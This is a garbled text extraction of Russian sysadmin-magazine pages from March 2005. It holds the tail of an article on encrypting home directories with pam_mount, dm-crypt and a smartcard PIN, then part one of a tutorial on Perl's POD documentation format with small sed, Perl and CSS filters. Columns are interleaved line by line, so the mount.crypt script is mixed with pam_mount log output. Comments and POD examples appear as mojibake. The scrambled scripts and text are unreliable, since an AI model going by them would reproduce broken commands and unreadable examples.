вести его на страницах печатного издания, поэтому добав- pam_mount: --------
pam_mount: (defined by globalconf)
ленные в него блоки буду выделять красным: pam_mount: user: chiko
pam_mount: server:
#  ñàìîì íà÷àëå äîáàâüòå ñòðîêó read PIN pam_mount: volume: /dev/sda1
LOSETUP=/sbin/losetup pam_mount: mountpoint: /home/chiko
pam_mount: options: loop,cipher=aes
CRYPTSETUP=/bin/cryptsetup pam_mount: fs_key_cipher:
MOUNT=/bin/mount
OPTIONS="" pam_mount: fs_key_path:
pam_mount: use_fstab:
read PIN # Òàêèì îáðàçîì ïåðåäàåì PIN â pkcs15-crypt pam_mount: --------
USAGE="dev dir [-o options]
# Íàéäèòå è çàêîììåíòèðóéòå, êàê â ïðèìåðå, pam_mount: checking to see if /dev/mapper/_dev_sda1 ↵
is already mounted at /home/chiko
# ÷åòûðå ñëåäóþùèå ñòðîêè: pam_mount: checking for encrypted filesystem key ↵
#HASHOPT="ripemd160"
#if [ -n "$HASH" ]; then configuration
pam_mount: about to start building mount command
# HASHOPT="$HASH" pam_mount: command: /crypt/mount.crypt ↵
#fi
# Âìåñòî íèõ ïîäñòàâüòå ñâîè: /dev/sda1 /home/chiko -o loop,cipher=aes /home/chiko
pam_mount: mount errors (should be empty):
HASHOPT="" pam_mount: 128+0 records in
if [ ! -z "$HASH" ]; then
HASHOPT="-h $HASH" pam_mount: 128+0 records out
pam_mount: waiting for mount
fi pam_mount: clean system authtok (0)
KEYSIZEOPT="256" pam_mount: command: /usr/sbin/pmvarrun -u chiko -d -o 1
pam_mount: pmvarrun says login count is 1
if [ -n "$KEYSIZE" ]; then pam_mount: done opening session
KEYSIZEOPT="$KEYSIZE"
fi
# Ñðàçó æå ïîñëå KEYSIZEOPT-ñåêöèè äîáàâëÿåì Вот и долгожданное приглашение! Проверьте наличие
# òðè íîâûõ ñòðîêè: в новой домашней директории своих перенесенных из ре-
dd if=/dev/sda1 bs=1 count=128 of=/crypt/key
/usr/local/bin/pkcs15-crypt --raw -p $PIN --pkcs1 ↵ зервной копии данных и вывод команды mount.
--decipher -k 45 -i /crypt/key | $CRYPTSETUP ↵
--cipher=aes --hash=plain --key-size=256 ↵ # mount | grep mapper
--offset=2048 create $DMDEVICE $DEVICE
rm /crypt/key
/dev/mapper/_dev_sda1 on /home/chiko type ext2 (rw)
# Ñëåäóþùóþ ñòðîêó èç îðèãèíàëà çàêîììåíòèðóåì,
# òàê êàê âûøå èñïîëüçóåì ñîáñòâåííûé àíàëîã: Как успел заметить опытный читатель, пользуясь опи-
#$CRYPTSETUP -c $CIPHEROPT -h $HASHOPT ↵
-s $KEYSIZEOPT create $DMDEVICE $DEVICE санным способом, можно шифровать не только пользова-
тельские домашние каталоги.
Пример скрипта /sbin/mount.crypt можно скачать на сайте Со страниц журнала желаю вам удачи, и пусть ваши кон-
журнала http://samag.ru в разделе «Исходный код». В боль- ституционные права остаются незыблемыми.
шинстве случаев придется изменить только /dev/sda1 и путь
к директории хранения временного файла на необходимые Ссылки:
вам значения. 1. http://www.flyn.org/projects/pam_mount.
Есть риск, что во время выполнения другими пользова- 2. http://www.saout.de/misc/dm-crypt.
телями ps в ее вывод может попасть наш PIN, поэтому ре- 3. http://opensc.org.

№3, март 2005 73

 программирование
СИСТЕМА СОЗДАНИЯ ДОКУМЕНТАЦИИ POD
ЧАСТЬ 1
Разрабатываете ли вы утилиту или обширный пакет про-
грамм, строите ли аппаратный комплекс или создаёте про-
граммно-аппаратную среду, вы неминуемо столкнётесь с
необходимостью составления качественной документации.
Зачастую требуется или желательно, чтобы документация
была доступна в нескольких форматах: для печати и для
ознакомления on-line. Система POD предлагает простой
язык разметки документов и средства конвертирования, по-
зволяющие получить документы в наиболее «ходовых» фор-
матах: не размеченный текст, man-страница, HTML-стра-
ница, PostScript и PDF.
Что такое POD?
Постараюсь угадать первые вопросы читателей и коротко
ответить на них, но прежде не могу не процитировать perldoc
74
АЛЕКСЕЙ МИЧУРИН
perlpod: «The Pod format is not necessarily sufficient for writing
a book. Pod is just meant to be an idiot-proof common source
for nroff, HTML, TeX, and other markup languages, as used for
online documentation».
Аббревиатура POD означает Plain Old Documentation.
POD разрабатывалась для документирования программ
и модулей, разработанных на языке Perl. Но, во-первых, эта
система достаточно универсальна и может использовать-
ся для документирования не только Perl-программ. А во-
вторых, она разработана так, что не требует для написа-
ния документации знания языка Perl. Это делает её уни-
версальным, мощным и простым в освоении средством со-
здания электронных документов.
Слово «old» в аббревиатуре не должно вводить читателя
в заблуждение. Система не является устаревшей. Напротив,

она постоянно совершенствуется. В последней версии Perl
(5.8) впервые появилась подробная спецификация POD.
Я не могу претендовать на исчерпывающее описание.
Если оно вам нужно, обратитесь к perldoc perlpodspec. Там
подробно обсуждаются все детали формата.
Например, что будет, если в список вставить заголовок
или повторно выделить жирным текст, уже являющийся
таковым. Для решения большинства задач документирова-
ния этих тонкостей знать не надо. Они нужны, скорее, раз-
работчикам новых конвертеров POD-документов в другие
форматы. Для пользователя существует описание форма-
та POD perldoc perlpod. В этой статье я практически не буду
выходить за его рамки, но отдельно рассмотрю вопросы ки-
риллизации POD, не затронутые ни в одном из указанных
руководств.
Принцип работы POD
Читатели, знакомые с HTML или системой вёрстки TeX/
LaTeX, уже встречались с подходом, практикуемым и в POD.
Это не WYSIWYG-система. Она предполагает, что вы раз-
рабатываете документ в определённом формате, а потом
конвертируете его в любой другой, который необходим вам
для печати или просмотра.
Это позволяет поддерживать одну «мастер-версию» в
формате POD, из которой по мере необходимости вы смо-
жете получать документы в различных форматах и по-раз-
ному оформленные, например, отличающиеся базовым раз-
мером шрифта или свёрстанные в одну или две колонки.
Таким образом, для освоения POD нам придётся рас-
смотреть сам формат и средства конвертирования.
Статья и примеры
В статье я буду рассказывать о возможностях POD от про-
стого к сложному. При накоплении критической массы зна-
ний мы будем отвлекаться и рассматривать вопросы кон-
вертирования POD-документов в соответствующий формат.
Естественно, при таком изложении и форматы будут идти
от простых к сложным.
Для того чтобы не быть голословным, я написал крошеч-
ную программку на Perl и снабдил её инструкцией. Подавля-
ющее большинство примеров в этой статье взяты из неё.
Вы можете получить полную версию программы и докумен-
тации на сайте журнала в разделе «Исходный код». Далее
я буду называть этот файл для краткости просто архивом.
В него входят документированная программа и все сред-
ства преобразования документации в форматы – от про-
стых текстовых до PostScript, PDF и HTML. Конвертирова-
ние в PostScript и PDF будет описано в следующем номере.
Перейдём к рассмотрению возможностей POD. Начнём
с базовых принципов формата POD.
Абзацы в POD
Формат POD предполагает, что весь документ разбит на
абзацы, которые отделены друг от друга одной (или более)
пустой строкой. Очень желательно, чтобы это была дей-
ствительно пустая строка, не содержащая даже пробелов.
Старые версии обработчиков POD могут некорректно реа-
гировать на подобные неточности соблюдения формата.
Абзацы бывают всего трёх типов:
№3, март 2005
программирование
! Форматированные абзацы. Обработчики, или програм-
мы просмотра, сами решают, как разбить текст на стро-
ки в готовом документе, обеспечив необходимое вырав-
нивание. В этих абзацах допускаются конструкции, из-
меняющие шрифт, создающие перекрёстные гиперссыл-
ки, расширяющие набор доступных символов. Об этих
возможностях я буду говорить ниже.
! Неформатированные абзацы чаще всего используются
для представления листингов программ. Здесь в резуль-
тирующем документе сохраняется то же разбиение на
строки, что и в POD-файле. Всегда используется моно-
ширинный шрифт. Никакие управляющие последова-
тельности символов не обрабатываются, а отобража-
ются вместе с остальным текстом «как есть».
! Управляющие параграфы содержат команды, управля-
ющие структурой документа: заголовками, списками и
прочим.
Тип параграфа задаётся очень просто:
! если первый символ параграфа не пробел и не знак «=»,
то это форматированный параграф;
! если первый символ пробел – неформатированный;
! если знак «=» – управляющий.
Вот простой пример форматированного и неформати-
рованного параграфов:
Êîíâåðòèðîâàòü EPS-ôàéë â ëþáîé äðóãîé ôîðìàò ìîæíî
ïðîãðàììîé C<gs>, èìåþùåé íåèñ÷èñëèìîå ìíîæåñòâî îïöèé
è âîçìîæíîñòåé. Ïðèìåð:
gs -sDEVICE=png16 \
-sOutputFile=drag.png \
-dBATCH \
-dNOPAUSE \
-r72x72 \
-sPAPERSIZE=a5 \
drag.eps
Обратите внимание, второй параграф («gs...») начина-
ется с пробела, это неформатированный параграф. После
обработки, в формате PDF этот фрагмент будет выглядеть
примерно так:
Конечно, внешний вид будет слегка варьироваться в за-
висимости от того, какой вы выберете размер шрифта при
создании PDF, каков будет размер бумаги и поля, во сколь-
ко колонок будет свёрстан документ, будет ли использо-
ваться система автоматической расстановки переносов.
Основные команды
Управляющих команд совсем немного, и в этом разделе мы
рассмотрим почти все из них.
75
 программирование
Оформление команд, команды начала
и конца документа
Сперва скажу о командах =pod и =cut. Они задают начало
и конец POD-документа соответственно.
Использование =сut не обязательно. Эта команда по-
лезна в тех случаях, когда файл содержит не только POD-
документ. При документировании Perl-программ и моду-
лей общепринятой практикой является включение в один
файл и Perl-кода программы или модуля, и POD-докумен-
та к нему.
Обратите внимание! Чтобы эти команды получили дол-
жную интерпретацию, их следует оформить как отдельные
командные параграфы. То есть они должны иметь по од-
ной (или более) пустых строк до и после; а знак «=» должен
быть первым в строке.
В следующем примере я создал простой POD-документ,
содержащий три слова:
=pod
Ïðèâåò îò POD.
=cut
Если вы оформите его так:
=pod
Ïðèâåò îò POD.
=cut
то «=cut» будет считаться просто четвёртым словом в един-
ственном форматированном параграфе документа.
Об этой специфике надо помнить и при использовании
других команд. Я для краткости буду говорить о «коман-
дах», но подразумевать буду управляющие параграфы, на-
чинающиеся с этих команд.
Заголовки
Команды =head1, =head2, =head3, =head4 позволяют зада-
вать заголовки разных уровней. Весь текст абзаца после
этих команд интерпретируется как текст заголовка.
Вот фрагмент POD-документа, содержащего различные
заголовки:
=head1 Àëãîðèòìû ïîñòðîåíèÿ
Ïðèâåäó çäåñü äâà àëãîðèòìà, îòëè÷àþùèõñÿ ïðèíöèïèàëüíî.
=head2 Èòåðàöèîííûé àëãîðèòì ïîñòðîåíèÿ äðàêîíà
Íàñòîÿùàÿ ïðîãðàììà èñïîëüçóåò èìåííî ýòîò àëãîðèòì.
А вот PDF-результат:
76
Как видите, номера расставляются автоматически. Ско-
ро мы увидим, что автоматически могут создаваться и ог-
лавления.
Списки
Для форматирования списков в POD предусмотрено три ко-
манды:
! Команда =over отмечает начало списка. Если после неё
указано число, то оно интерпретируется как величина
отступа, указанная в единицах em (приблизительно ши-
рина буквы «M»). Эта величина носит рекомендатель-
ный характер, она может игнорироваться, если вы кон-
вертируете POD в формат, не позволяющий управлять
отступом.
! Команда =back завершает список.
! Каждый элемент списка задаётся командой =item. Её
можно использовать только в окружении =over/=back.
Текст абзаца, следующий за =item, является маркером
элемента списка. Это может быть звёздочка (ненуме-
рованный список), число (нумерованный список) или
некий термин, ключ командной строки, оператор, пе-
ременная или краткая фраза, выполняющая роль под-
заголовка. В традиционной для UNIX man-документа-
ции чаще используется последний вид списков, и POD
более ориентирован на них.
Спецификация POD настаивает на том, чтобы разра-
ботчики не использовали смешанных списков. То есть в
одном списке не должны сочетаться и нумерованные и не-
нумерованные элементы (вряд ли кому-то понадобится та-
кой список-химера).
POD-процессоры оставляют за собой право заменять
маркеры-звёздочки на более подходящие символы, если
это возможно (например, в формате HTML). В нумерован-
ных списках рекомендуется начинать нумерацию с едини-
цы.
Сам элемент списка, отмеченный маркером, содержит-
ся в следующем абзаце или абзацах. Список может вооб-
ще не содержать элементов, а только маркеры.
Вот пример списка (не обращайте пока внимания на уп-
равляющие последовательности C<...> и E<...>, мы к ним
ещё вернёмся):
Âñ¸ ïîñòðîåíèå âåä¸ò ïîäïðîãðàììà C<next_step>.
Îíà ïîëó÷àåò ñëåäóþùèå ïàðàìåòðû:
=over
=item $x, $y
Ïåðâûé è âòîðîé E<mdash> êîîðäèíàòû
íà÷àëà âåêòîðà.
=item $dx, $dy
Òðåòèé è ÷åòâ¸ðòûé E<mdash> êîîðäèíàòû
ñàìîãî âåêòîðà.
=item $d
Òåêóùàÿ ãëóáèíà ðåêóðñèè.
=back
В формате PDF этот фрагмент кода будет давать при-
мерно такой результат.

Маркеры можно не указывать, тогда их не будет и в ре-
зультирующем документе. Отступ же сохранится.
Списки можно использовать и не совсем по назначению.
Например, вот так:
Это просто список из одного элемента.
Первый опыт конвертирования
Мы уже знаем достаточно, чтобы разметить простенький
POD-документ. Готовый POD-файл можно сконвертировать
в текстовый документ. Делается это командой pod2text,
например, так:
pod2text input.pod >output.txt
Вот как будет выглядеть результат конвертирования
фрагмента документа, который я привёл в разделе про за-
головки:
Команда pod2text допускает множество ключей. Пере-
числять их все нет смысла, тем более что многие предос-
тавляют весьма экзотические возможности (например, со-
хранение в результирующем документе не только обрабо-
танного POD-кода, но и всего остального содержимого
файла), которые могут быть полезны только Perl-програм-
мистам. Я лишь упомяну о весьма полезной опции -w, по-
зволяющей указать ширину документа. Опция -m позволя-
ет задать поля.
Я ещё вернусь к вопросам конвертирования в тексто-
вый формат, когда мы продвинемся чуть дальше в освое-
нии POD, а исчерпывающую информацию по pod2text мож-
но найти в руководстве perldoc pod2text.
Форматирование
Давайте теперь рассмотрим, какую разметку допускают
форматированные абзацы. В форматированных абзацах
можно задавать определённое оформление текста. Доступ-
ны три классические возможности: жирный шрифт (bold),
курсивный шрифт (italic) и моноширинный шрифт (code).
№3, март 2005
программирование
Управляющие последовательности просты и компактны:
×àñòü òåêñòà ìîæíî âûäåëèòü I<êóðñèâîì>,
íåêîòîðûå ôðàãìåíòû - B<ïîëóæèðíûì øðèôòîì>
èëè C<ìîíîøèðèííûì øðèôòîì>.
Здесь, как вы уже догадались, слова «курсивом», «по-
лужирным шрифтом» и «моноширинным шрифтом» будут
оформлены соответствующим образом.
Если формат, в который вы конвертируете документ, не
допускает подобных вариаций шрифта (например, рассмот-
ренный выше обычный текст), то управляющие последова-
тельности будут корректно проигнорированы.
POD предлагает и средства логической разметки. Кон-
струкция F<...> предназначена для выделения имён фай-
лов (обычно эквивалентна курсиву I<...>). Конструкция
X<...> игнорируется большинством конвертеров, но может
использоваться для создания предметных указателей. Кон-
струкция S<...> указывает на то, что текст, заключённый в
ней, не должен разбиваться на строки. Например:
S<Ñèòíèêîâà Î.Â.>
или
S<5 êã.>
Инициалы всегда будут находиться на одной строке с
фамилией, а единицы измерения не «оторвутся» от вели-
чины.
Для полноты скажу о довольно редко используемой пос-
ледовательности Z<>. Это «символ нулевой ширины». Он
не отображается на печати и поэтому может показаться
абсолютно бесполезным. Пример его использования я при-
веду чуть ниже.
Как только вы начнёте создавать свои собственные POD-
документы, вы столкнётесь с одной проблемой. Как выде-
лить курсивом фразу «Alex <a@i.am>» или выделить жир-
ным «I>10A»?
Очевидно, конструкция вида:
B<I>10A>
не даст требуемого результата. Жирным будет выделена
только буква I, а необходимый нам знак «больше» вообще
исчезнет, будучи проинтерпретирован как часть управляю-
щей последовательности.
В ранних версиях POD эта проблема решалась только
путём использования escape-последовательностей (о них
разговор ниже). Этот метод работает и по сей день, но он
не очень удобен. Начиная с версии POD, поставляемой с
Perl 5.5.660, был предложен гораздо более изящный путь
обойти эти затруднения. Теперь фрагмент текста, подле-
жащий выделению, можно ограничивать любым количе-
ством символов «<« и «>». «Открывающая» и «закрываю-
щая» последовательности должны быть одинаковой дли-
ны, а заключённый в них текст должен быть дополнен про-
белами в начале и в конце. Эти пробелы также являются
частью управляющей конструкции и не будут отображать-
ся на печати.
77
 программирование
То есть в нашем примере требуемого результата можно
добиться, написав в POD-файле:
B<< I>10A >>
Более «тяжеловесные» ограничители тоже могут при-
годиться. Например:
C<<< cat part >> file2append >>>
Здесь вся фраза «cat part >> file2append» будет оформ-
ляться моноширинным шрифтом.
Как раз здесь уместно вспомнить о последовательнос-
ти Z<>. Её можно внедрить между двумя символами «боль-
ше». Она никак не повлияет на внешний вид документа, но
разобьёт последовательность «>>», которая в противном
случае могла бы быть интерпретирована как управляющая.
Одним словом, код:
C<< cat part >> file2append >>
будет понят POD-конвертерами не так, как мы хотели, а код:
<< cat part >Z<>> file2append >>
даст как раз требуемый результат.
Честно говоря, я не сталкивался с ситуациями, когда
использование последовательности Z<> было бы действи-
тельно оправданно (мой пример – не исключение), но, воз-
можно, вы встретитесь с такими ситуациями, и вам она со-
служит хорошую службу.
Такая же разметка допустима и в управляющих пара-
графах, например, в тексте заголовков, но там её исполь-
зование не вполне оправданно. Текст управляющих пара-
графов и так форматируется соответствующим образом;
причём в разных форматах по-разному. Имеет ли смысл
выделять жирным шрифтом слово в заголовке, которое и
без того будет отформатирован жирным? Кроме того, мо-
гут возникнуть недоразумения: в заголовке форматирова-
ния не видно, а в оглавлении – видно.
Специальные символы
(escape-последовательности)
Набор символов, доступных в форматированных абзацах,
гораздо шире стандартного ASCII-набора. Символы можно
задавать с помощью последовательности E<...>. Её «аргу-
ментом» может быть имя символа или код. Имена симво-
лов совпадают с именами, используемыми в HTML, коды
могут быть и ASCII, и Unicode-кодами символов (никогда
не пробовал использовать Unicode, но согласно докумен-
тации – должно работать). Согласно документации, если
код предварён конструкцией «0x», он интерпретируется как
шестнадцатеричный, если начинается с нуля – как восьме-
ричный. Например, E<gt> обозначает знак «больше». Этот
же символ можно получить, задав его код в любой системе
счисления: E<62> или E<0x3e>, или E<076>. Однако мой
опыт показывает, что надёжнее использовать десятерич-
ные коды.
От использования Unicode я бы советовал воздержать-
78
ся. POD-процессоры, преобразующие документы в тексто-
вые форматы, «не любят» Unicode. А в HTML-документах
Unicode-символы (&#NNNN;) могут вызвать неожиданные
смены семейств шрифтов и прочие недоразумения, причи-
ны которых бывает трудно установить.
Используя как раз такую запись, можно обойти пробле-
мы, описанные выше:
B<IE<gt>10A>
Как видите, способ не самый удачный, но зато он рабо-
тает и в старых версиях POD.
Здесь же уместно привести ещё один пример использо-
вания Z<>. Если вам потребуется получить последователь-
ность символов «E<60>» в форматированном параграфе,
то в POD-файле её можно записать так:
EZ<><60>
Тогда она не будет обработана как escape-последова-
тельность.
Конвертирование в «цветной» текст
и man
Теперь мы знаем о POD почти всё и можем посмотреть, как
с этим работать. Для начала рассмотрим текстовые фор-
маты.
Не секрет, что в текстовом формате доступен весьма
скромный набор символов (максимум 256), а шрифт варь-
ировать нельзя. Поэтому ни pod2text, ни pod2man не обра-
батывают «сложные» escape-последовательности. То есть
последовательность E<mdash> так и попадёт в текст доку-
мента необработанной потому, что символ «длинное тире»
недопустим в текстовом документе. Вы получите предуп-
реждающее сообщение «Unknown escape». Корректно об-
рабатываются только «простые» символы. Например, пос-
ледовательность E<gt> (или E<62>) будет, как и положено,
преобразована в знак «больше».
В разделе «Списки» вы уже видели, как получить длин-
ное тире с помощью последовательности E<mdash>. В моём
примере встречается ещё один «неординарный» символ –
градус. По аналогии с HTML он именуется deg. После кон-
вертирования в такие форматы, как HTML эти символы
выглядят абсолютно корректно и только украшают текст,
но текстовые конвертеры не в состоянии их обработать:
Эта проблема немного надуманная. Вряд ли вам пона-
добится и изящно оформленный HTML- или PostScript-до-
кумент, и примитивный текстовый вариант документации.
Честно говоря, я впервые заметил эту проблему только ког-
да готовил материал настоящей статьи и мне для иллюст-
раций понадобились все форматы. Но если вы с ней всё-
таки столкнётесь, то можете применить несложный скрипт,
который будет корректно «вычищать» escape-последова-
тельности из документа перед его преобразованием в тек-
стовый формат.
Я использовал вот такой скрипт:
#!/usr/bin/sed -f
s/E<mdash>/--/g
s/E<deg>/ ãðàäóñîâ/g

Как видите, это sed-фильтр, который заменяет «E<mdash>»
на «—», «E<deg>» на слово «градусов». Все текстовые до-
кументы я получал, предварительно пропустив исходный
документ через этот фильтр:
./antiescape file.pod | pod2text >file.text
Это, пожалуй, единственная неприятная особенность
конвертеров в текстовые форматы. Теперь о приятном: об
их возможностях, пусть скромных, но всё-таки заслужива-
ющих пары слов.
Начнём с самого простого pod2text.
Опция -c позволяет ему разметить текст цветом при
помощи ANSI escape-последовательностей.
Вот как будет выглядеть на экране терминала фрагмент
документа, полученного с помощью pod2text -c (мы, конеч-
но, предварительно обработали POD-файл фильтром antie-
scape):
Вы видите, что заголовки отформатированы жирным
шрифтом, а курсив – синим. Конкретные цвета зависят от
настроек терминала.
Рассмотренное форматирование примерно в той же
мере сохраняется и на man-страницах, полученных из POD-
источников.
Вот тот же фрагмент документа, после конвертирова-
ния его утилитой pod2man (в просмотрщике от mc):
Конвертер pod2man ещё более гибок, чем pod2text. При-
водить здесь все его опции я не буду, они во многом сход-
ны с опциями pod2text и прекрасно описаны в perldoc
pod2man. Остановлюсь лишь на специфических, именно для
формата man.
Man-страница, как вы знаете, имеет колонтитулы. В вер-
хнем колонтитуле, справа и слева, традиционно, указывает-
ся имя команды. Оно задаётся ключом -n. В центре верхнего
колонтитула обычно указывается что-то вроде «FreeBSD
General Commands Manual». Эту строку вы можете задать,
используя ключ -c. В нижнем колонтитуле, справа и слева,
обычно указывается версия ОС. Эта информация может
быть задана ключом -r. В центре нижнего колонтитула по
традиции указывается дата создания документа. Её можно
изменить с помощью ключа -d.
Оба конвертера pod2man и pod2text поддерживают оп-
цию -q, не сказать о которой нельзя. Вот как будет выгля-
деть результат обработки POD-фрагмента, который я при-
водил в качестве примера в разделе «списки»:
№3, март 2005
программирование
Здесь я применил pod2text без каких-либо параметров.
Обратите внимание, что название подпрограммы взято
в кавычки, которых в POD-документе мы не писали. Это
произошло потому, что мы указали, что «next_step» – код
программы – C<...>. По умолчанию конвертер pod2text зак-
лючает фрагменты кода в кавычки. Это поведение можно
скорректировать. Опция -q none подавляет кавычки, опция
-q с иным аргументом задаёт альтернативные символы ка-
вычек. За подробностями обращайтесь к man-странице
pod2text или pod2man или perldoc-страницам, посвящённым
этим командам.
Конвертирование в HTML
В полную силу возможности форматирования начинают
работать при конвертировании в более «серьёзные фор-
маты», например, в HTML. Преобразование осуществляет
программа pod2html. Уже знакомый нам фрагмент в фор-
мате HTML будет выглядеть так:
Как видите, всё форматирование отражено в полной
мере, но один неприятный сюрприз нам всё-таки уготован.
Утилита pod2html создаёт оглавление в начале докумен-
та. Это очень удобно (а если не удобно, то можно отменить
ключом --noindex), но оно создаётся явно без учёта русской
специфики. В качестве якорей и ссылок используется не-
посредственно текст соответствующих заголовков. То есть
в нашем случае якоря и ссылки будут содержать русские
буквы. Не все браузеры лояльны к таким вольностям.
Чтобы обойти эту неприятность, я использую следую-
щий несложный скрипт на Perl:
#!/usr/bin/perl
undef $/;
$_=<>;
%h=();
$c=0;
s/href="#(.+?)"/$c++; $h{$1}=$c; qq|href="#$c"|/ge;
s/name="(.+?)"/"name=\"".($h{$1}?$h{$1}:$1)."\""/ge;
print;
Как видите, это фильтр. Он считывает стандартный ввод,
создаёт хэш якорей и производит надлежащие замены.
Затем результат отправляется на стандартный вывод.
Я назвал этот скрипт antirus.pl (он входит в архив к этой
статье). Команда:
pod2html file.pod | antirus.pl > file.html
создаст «безопасный» HTML-файл.
79
 программирование
Гиперссылки
Гиперссылки формируются только при конвертировании в
HTML-формат. Во всех остальных форматах конструкции,
описывающие ссылку, обрабатываются корректно: текст
ссылки попадает в документ, но ссылкой он, конечно, не
становится. Тем не менее гиперссылки заслуживают крат-
кого описания.
В наиболее общем случае ссылка создаётся последо-
вательностью L<текст|документ/раздел>. «Текст» будет
виден читателю документа и будет являться ссылкой. «До-
кумент» – имя документа. «Раздел» – раздел в документе.
При необходимости любое из полей можно взять в кавычки.
Раздел можно не указывать. Если не указан документ, то
предполагается, что это ссылка на один из разделов теку-
щего документа. Ссылки используются довольно редко и
имеют много ограничений. Как вы уже поняли, ни одно из
полей не может содержать символы «|» и «/». Это ограниче-
ние можно обойти, используя escape-последовательности.
Наличие документа, указанного между «|» и «/», прове-
ряется. Если он не найден, то ссылка не создаётся. По умол-
чанию поиск ведётся среди модулей Perl, но пути можно
задать и свои. В поле «раздел» следует указывать полное
название раздела. Это не только громоздко, но и приводит
к созданию «русских» якорей и ссылок в русскоязычных до-
кументах, что весьма нежелательно.
Ограничусь одним примером:
=pod
=head1 Ãëàâà I
L<ýòî ññûëêà íà Ãëàâó I|/"Ãëàâà I">
Если вам понадобится более подробная информация о
ссылках, обращайтесь к документации на POD, но я бы не
назвал возможность создания ссылок доведённой до со-
вершенства. А в русскоязычных документах работа со ссыл-
ками ещё более затруднена, чем в англоязычных.
Предложенная мною программа, корректирующая ссыл-
ки, должна быть значительно доработана, прежде чем она
сможет работать с группами файлов и обрабатывать ссыл-
ки не только внутри документа, но и между документами.
Я полагаю, что если вам действительно понадобится
система взаимосвязанных HTML-документов, то POD – не
лучшее средство разработки. Поэтому я не предлагаю ни-
каких средств корректировки гиперссылок.
Вставки, специфичные
для разных форматов
Мы не рассмотрели ещё три команды.
Начав параграф с команды =for, вы сообщаете обра-
ботчику POD-документа, что этот параграф предназначен
для определённого формата. Например:
=for html <hr>
Этот параграф предназначен только для формата HTML.
Он будет исключён из документа всеми обработчиками,
кроме pod2html. А этот единственный включит содержимое
параграфа в HTML-документ без изменений, и в HTML-до-
кументе появится горизонтальная черта.
80
Если вам необходимо вставить большой формат-ориен-
тированный фрагмент документа, то можно использовать
пару команд =begin/=end.
Наш пример можно переписать так:
=begin html
<hr>
=end html
Обратите внимание, что, как и любые другие команды,
=begin и =end должны находиться в отдельных абзацах.
Таким образом, вы можете писать документ в формате
POD, но использовать и средства разметки других форма-
тов, когда это необходимо. Чаще всего эти возможности
используются для вставки графики.
К сожалению, нельзя вставлять специфичные для фор-
мата фрагменты внутри абзаца (in-line). То есть вам вряд
ли удастся успешно использовать теги <font>, <small>, <sup>
и подобные.
Вставка рисунков в HTML
Теперь становится ясно, как включить изображение в HTML-
документ. Для этого в POD-исходнике можно написать что-
то подобное:
=for html
<center><img src="examp.png" hspace="3"></center>
В результате в HTML-код будет помещена указанная
строка, а значит, и картинка со всеми HTML-специфичны-
ми атрибутами.
«Причёсываем» HTML
Теперь, когда мы знаем большинство тонкостей конверти-
рования в HTML-формат, уместно будет сказать о возмож-
ных «косметических» улучшениях. Как мы видели раньше,
документ получается максимально простой: шрифт – по
умолчанию, цвета – белый и чёрный. Такая строгость не
всегда уместна.
Ситуацию можно исправить практически одним движе-
нием, включив в состав HTML-документа CSS-таблицу (или
ссылку на отдельный файл, содержащий CSS-таблицу).
Для этого можно использовать несколько путей.
Можно вставить CSS-таблицу непосредственно в POD-
документ.
=begin html
<style type="text/css"><!--
òåëî òàáëèöû
// --></style>
=end html
Такой подход не очень хорош по двум причинам. Во-пер-
вых, он не удобен, если вы создаёте несколько документов
(или часто готовите инструкции и руководства), потому что
вам придётся вставлять эту громоздкую конструкцию в каж-
дый POD-файл. Во-вторых, CSS-таблица окажется не в за-
головке документа (между тегами <head> и </head>), как
это принято.
Тем же методом можно вставить и HTML-элемент link,
 программирование
обеспечивающий связь с CSS-таблицей, находящейся во
внешнем файле.

=for html <link rel="stylesheet" href="file.css" type="text/css">

В этом случае указанный HTML-тег тоже окажется в теле

документа (между <body> и </body>), что не очень жела-
тельно.
Чтобы включить тег link в заголовок документа (где ему
и положено быть), можно использовать ключ --css:

pod2html --css file.css file.pod >file.html

Но мне представляется более уместным включать в

HTML-документы не элемент link, а полную CSS-таблицу.
Это не намного «утяжелит» результат (что вообще не кри-
тично для off-line-ориентированных документов), но сдела- Предполагая, что читатель знаком с CSS, остановлюсь
ет его более «монолитным». Зачастую документация адре- только на особенностях моей CSS-таблицы.
суется не очень квалифицированному пользователю, кото- Первый элемент просто оговаривает вид ссылок. На
рый может достаточно своевольно с ней обращаться (на- рисунке их нет, но поверьте, они становятся зелёными.
пример пересылать отдельные файлы по e-mail коллегам в Второй элемент таблицы определяет вид заголовков.
другой офис). Мой опыт подсказывает, что лучше созда- Обратите внимание, что мы задаём не просто стиль заго-
вать максимально самодостаточные файлы. ловков, а заголовков-ссылок. Это делается не случайно. При
Чтобы автоматизировать процесс вставки полноценной формировании HTML-документа система POD делает мно-
CSS-таблицы в HTML-код, могу предложить элементарный гие части документа (в том числе и заголовки) якорями ги-
скрипт: перссылок на случай, если на них потребуется сослаться
из другого документа. Поэтому в формате HTML заголовки
#!/usr/bin/perl оформляются следующим образом:
undef $/;
$_=<>; <h1><a name="ÿêîðü">òåêñò çàãîëîâêà</a></h1>
s|</head>|<style type="text/css"><!--
a {
font-family: sans-serif; Теперь становится ясно, что если мы опишем только
weight: bold;
text-decoration: none; действие тега h1, то заголовок будет оформлен всё равно
color: #090; по правилам оформления ссылок (тег a). То есть в нашем
}
h1 a, h2 a{ случае заголовок унаследовал бы от ссылок зелёный цвет.
color: #C00; Чтобы добиться желаемого результата – задать формати-
font-family: sans-serif;
} рование заголовков – нам следует описать действие пары
dt strong a{ тегов h1 и a, что мы и делаем. По той же причине мы опи-
color: #900;
} сываем не тег dt, а всю связку dt-strong-a. Это стиль для
code { маркеров списков. Тегом code снабжаются фрагменты кода
background: #ccc;
font-weight: bold; (C<...>). Я задал для этих элементов сероватый фон.
} Для абзацев оговорено выравнивание по обоим сторо-
p {
text-align: justify; нам колонки.
} Тегом pre оформляются неформатированные абзацы.
pre {
background: #ffe; Я, как можно видеть из картинки и как описано в CSS-таб-
border-width: 3px; лице, задал для этих частей документа рамку и жёлтый фон.
border-style: solid;
border-color: #ddc #443 #443 #ddc; Конечно, вы можете задать любые стили, шрифты, вы-
} равнивания, отступы, цвета; главное при этом учитывать
// --></style>
</head>|; структуру документа, формируемого pod2html, чтобы стиль
print; ссылок не конфликтовал с другими стилями.

Как видите, вся его работа заключается в том, что он
вставляет CSS-таблицу перед тегом </head>. Практически
всё его тело тоже составляет CSS-таблица.
Кстати, использование такого скрипта полностью осво-
бождает вас от необходимости указывать в POD-файле
какие-либо дополнительные конструкции (типа =for html).
После пропускания HTML-документа через этот фильтр,
вид его кардинально изменится. Вот фрагмент:
Продолжение следует
В следующем номере я опишу процедуру конвертирования
